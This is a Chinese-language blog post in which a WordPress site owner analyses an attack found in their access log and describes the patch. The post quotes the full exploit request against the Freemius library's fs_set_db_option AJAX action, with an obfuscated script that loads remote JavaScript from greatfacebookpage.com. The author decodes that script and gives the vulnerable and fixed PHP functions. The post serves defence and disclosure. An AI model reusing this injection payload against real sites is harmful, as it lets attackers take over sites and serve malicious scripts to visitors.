如果瀏覽不順暢請到原文章出處:https://www.sky8g.com/technology/2947/
請注意可能會提示風險,這是csdn官網如果不是他們的網址,其他的網址都會提示有風險,這是CSDN網站設置的問題,本網站全部文章爲免費技術分享,請放心訪問,無需擔心。
原文章出處:https://www.sky8g.com/technology/2947/
此篇文章是由SKY8G網作者原創,禁止抄襲。
作爲博客、論壇、或者電商網站等的博主,相信大家都知道, wordpress是世界上創建網站最簡單的平臺,他有及其豐富的插件功能。讓你的網站運行效率更加完善。但是這樣多的個人用戶或者商家使用它,必然給黑客帶來了很好的研究對象,這樣就讓黑客更加專注於對你的wordpree網站進行惡意的訪問和分析你網站的漏洞。目的是爲了獲取你的用戶信息,或者獲取你用戶信用卡信息,這是非常可怕的事情。那麼我 們如何使我們的網站更加安全呢?
此篇文章是由SKY8G網作者進行編輯,禁止抄襲,違者必究
WordPress網站分析漏洞
首先,我們一定要養成常看網站日誌的習慣,這樣可以及時發現漏洞避免不必要的損失。一般情況我們所使用的web服務器通常爲三種。
- 第一種是Apache服務器。
- 第二種是Nginx服務器。
- 第三種是大型公司自己的開發服務器,例如
1
2
3
4
5
6
7
8
9
10
11
12
13
今天收集了幾個大網站所使用的web服務器,每個網站都使用幾種web服務器,有的是開源的有的是自己開發的。
網站 url Server
谷歌 http://www.google.com.hk/ gws,sffe
百度 http://www.baidu.com/ BWS/1.0,Apache
新浪 http://www.sina.com.cn/ Apache,MediaV/0.1.54,nginx
搜狐 http://www.sohu.com/ Apache/2.2.4,SWS,nginx
網易 http://www.163.com/ nginx,Apache/2.0
騰訊 http://www.qq.com/ squid/3.0,cws/3.1
淘寶 http://www.taobao.com/ Tengine,Apache,nginx
京東 http://www.360buy.com/ JDWS,Apache
雅虎 http://cn.yahoo.com/ YTS/1.16.0
圖都 http://www.tudou.com/ tws0.3,nginx/0.7.59
迅雷 http://www.xunlei.com/ nginx/0.7.69
當然再好的服務器也不一定沒有漏洞,所以網站的安全至關重要。查看網站的訪問日誌、錯誤日誌、ssh登錄失敗日誌登錄,經常查看。這裏不再介紹如何查看日誌,自己可以通過百度和谷歌進行查閱。
WordPress網站發現漏洞
只要我們勤於看日誌,總結分析日誌通常會使網站健康安全運行。當然如果你不是專業的運維人員或DBA的話也不一定做到每天觀看日誌,對於我來說就不能天天看日誌了。今天我突然查看了日誌,講過查看訪問本網站的IP有一個惡意的訪問,並且試圖破壞我的網站,如下:
1 2 |
訪問的時間和訪問的url xxx.xxx.xxx.xxx - - "GET //wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script> HTTP/1.1" 301 162 "http://sky8g.com/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=fonts&option_value=<script async=true type=text/javascript language=javascript>var nt = String.fromCharCode(57);var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114);var sb = String.fromCharCode(115, 99, 114, 105, 112, 116);var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116);var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61);var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0];n.parentNode.insertBefore(c,n);</script>" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36" "-" |
於是看到這個url非常的異常,通過分析竟然是一段腳本短碼及時黑客利用wordpress漏洞進行攻擊的惡意js代碼。於是經過瀏覽器javascript console.log()進行解析如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
var nt = String.fromCharCode(57); var mb = String.fromCharCode(97, 106, 97, 120, 67, 111, 117, 110, 116, 101, 114); var sb = String.fromCharCode(115, 99, 114, 105, 112, 116); var jb = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47); var tb = String.fromCharCode(116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116); var lb = String.fromCharCode(103, 114, 101, 97, 116, 102, 97, 99, 101, 98, 111, 111, 107, 112, 97, 103, 101, 46, 99, 111, 109, 47, 100, 108, 116, 111, 46, 106, 115, 63, 116, 61, 112, 38, 97, 61); var c=document.createElement(sb);c.type=tb,c.async=1,c.src=jb+lb+nt;var n=document.getElementsByTagName(sb)[0]; console.log(nt); console.log(mb); console.log(sb); console.log(jb); console.log(tb); console.log(lb); |
輸出如下:
1 2 3 4 5 6 |
9 VM1380:9 ajaxCounter VM1380:10 script VM1380:11 https:// VM1380:12 text/javascript VM1380:13 greatfacebookpage.com/dlto.js?t=p&a= |
完整的url爲:
1 |
https://greatfacebookpage.com/dlto.js?t=p&a=9 |
經過查看這是個js腳本代碼。這段代碼有着破壞網站的行爲,這將允許任何有權訪問WordPress帳戶的人接管網站,並且是黑客過去曾試圖廣泛利用的漏洞類型,因此可能存在大量漏洞因此而嘗試他可以創建在你的網站創建用戶,此用戶有着超級管理員權限這是非常危險的。所以我們需要解決這個問題,他是利用我們wordpress中第三方庫的class-freemius.php 這個庫函數在你沒有更新之前有一個漏洞。
受影響的Wordpree插件
(2019年3月8日更新)
- 404 to 301 (Fixed) – 100,000+ Installs
- Ad Blocker Notify Lite (Unfixed as of 2.2.3) – 10,000+ Installs
- Better Notifications for WordPress (Fixed) – 20,000+ Installs
- BuddyForms (Fixed) – 3,000+ Installs
- Coming Soon Blocks (Coming Soon Page and Maintenance Mode for WordPress Block Editor) (Fixed) – 40+ Installs
- Contact Form 7 Multi-Step Forms (Fixed) – 20,000+ Installs
- Contact Form 7 Skins (Fixed) – 30,000+ Installs
- Content Aware Sidebars (Fixed) – 40,000+ Installs
- Delete Duplicate Posts (Fixed) – 10,000+ Installs
- Easy Watermark (Fixed) – 30,000+ Installs
- Final Tiles Grid Gallery (Image Photo Gallery Final Tiles Grid) (Fixed) – 30,000+ Installs
- FooBox Image Lightbox (Fixed) – 100,000+ Installs
- FooGallery (Fixed) – 100,000+ Installs
- Glossary (Fixed) – 1,000+ Installs
- Ivory Search (Unfixed as of 4.2) – 20,000+ Installs
- Livemesh Addons for Beaver Builder (Fixed) – 2,000+ Installs
- Livemesh Addons for Elementor (Unfixed as of 2.5.2) – 50,000+ Installs
- Livemesh Addons for WPBakery Page Builder – (Unfixed as of 2.5.1) – 20,000+ Installs
- Livemesh SiteOrigin Widgets (Unfixed as of 2.5.1) – 30,000+ Installs
- Mobile Menu (WP Mobile Menu) (Fixed) – 50,000+ Installs
- NextGEN Gallery (Fixed) – 900,000+ Installs
- Popup Maker (Fixed) – 300,000+ Installs
- Post Snippets (Fixed) – 30,000+ Installs
- Remove WP Update Nags (Fixed) – 60+ Installs
- Salon Booking System (Fixed, but originally most recent venison 3.28.3, was vulnerable) – 5,000+ Installs
- Smart Variations Images for WooCommerce (Fixed) – 3,000+ Installs
- Stop User Enumeration (Fixed) – 30,000+ Installs
- Widgets for SiteOrigin (Unfixed as of 1.4.2) – 40,000+ Installs
- WooSquare (Fixed) – 1,000+ Installs
- WP Affiliate Disclosure (Fixed) – 100+ Installs
- WP fail2ban (Fixed) – 30,000+ Installs
- WP Security Audit Log (Fixed) – 80,000+ Installs
請儘快更新的你插件漏洞,以便你網站安全運行。
更新WordPress網站漏洞
我們現在已經回顧了1000個最受歡迎的插件,發現很多使用這個庫,如下所列,其中很多還沒有發佈固定版本。在我們發現了這個漏洞我們就要進行修復或者更新漏洞,目前GitHub上Freemius 已經更新了此庫函數,更新時間爲2019年6月5日。更新的步驟代碼爲如下圖:
原來 的代碼如下,在2828行到2848行之間
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 */ static function _set_db_option() { $option_name = fs_request_get( 'option_name' ); $option_value = fs_request_get( 'option_value' );
if ( ! empty( $option_value ) ) { update_option( $option_name, $option_value ); }
self::shoot_ajax_success(); } |
更新爲代碼如下圖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
static function _set_db_option() { check_admin_referer( 'fs_set_db_option' ); $option_name = fs_request_get( 'option_name' ); if ( ! is_super_admin() || ! fs_starts_with( $option_name, 'fs_' ) ) { self::shoot_ajax_failure(); } $option_value = fs_request_get( 'option_value' ); if ( ! empty( $option_value ) ) { update_option( $option_name, $option_value ); } self::shoot_ajax_success(); } |
這樣就避免了黑客利用這一漏洞進行惡意訪問你的網站了。如果喜歡我們的文章就點擊右邊欄訂閱吧。
如果有不懂的地方請留言,SKY8G網站編輯者專注於研究IT源代碼研究與開發。希望你下次光臨,你的認可和留言是對我們最大的支持,謝謝!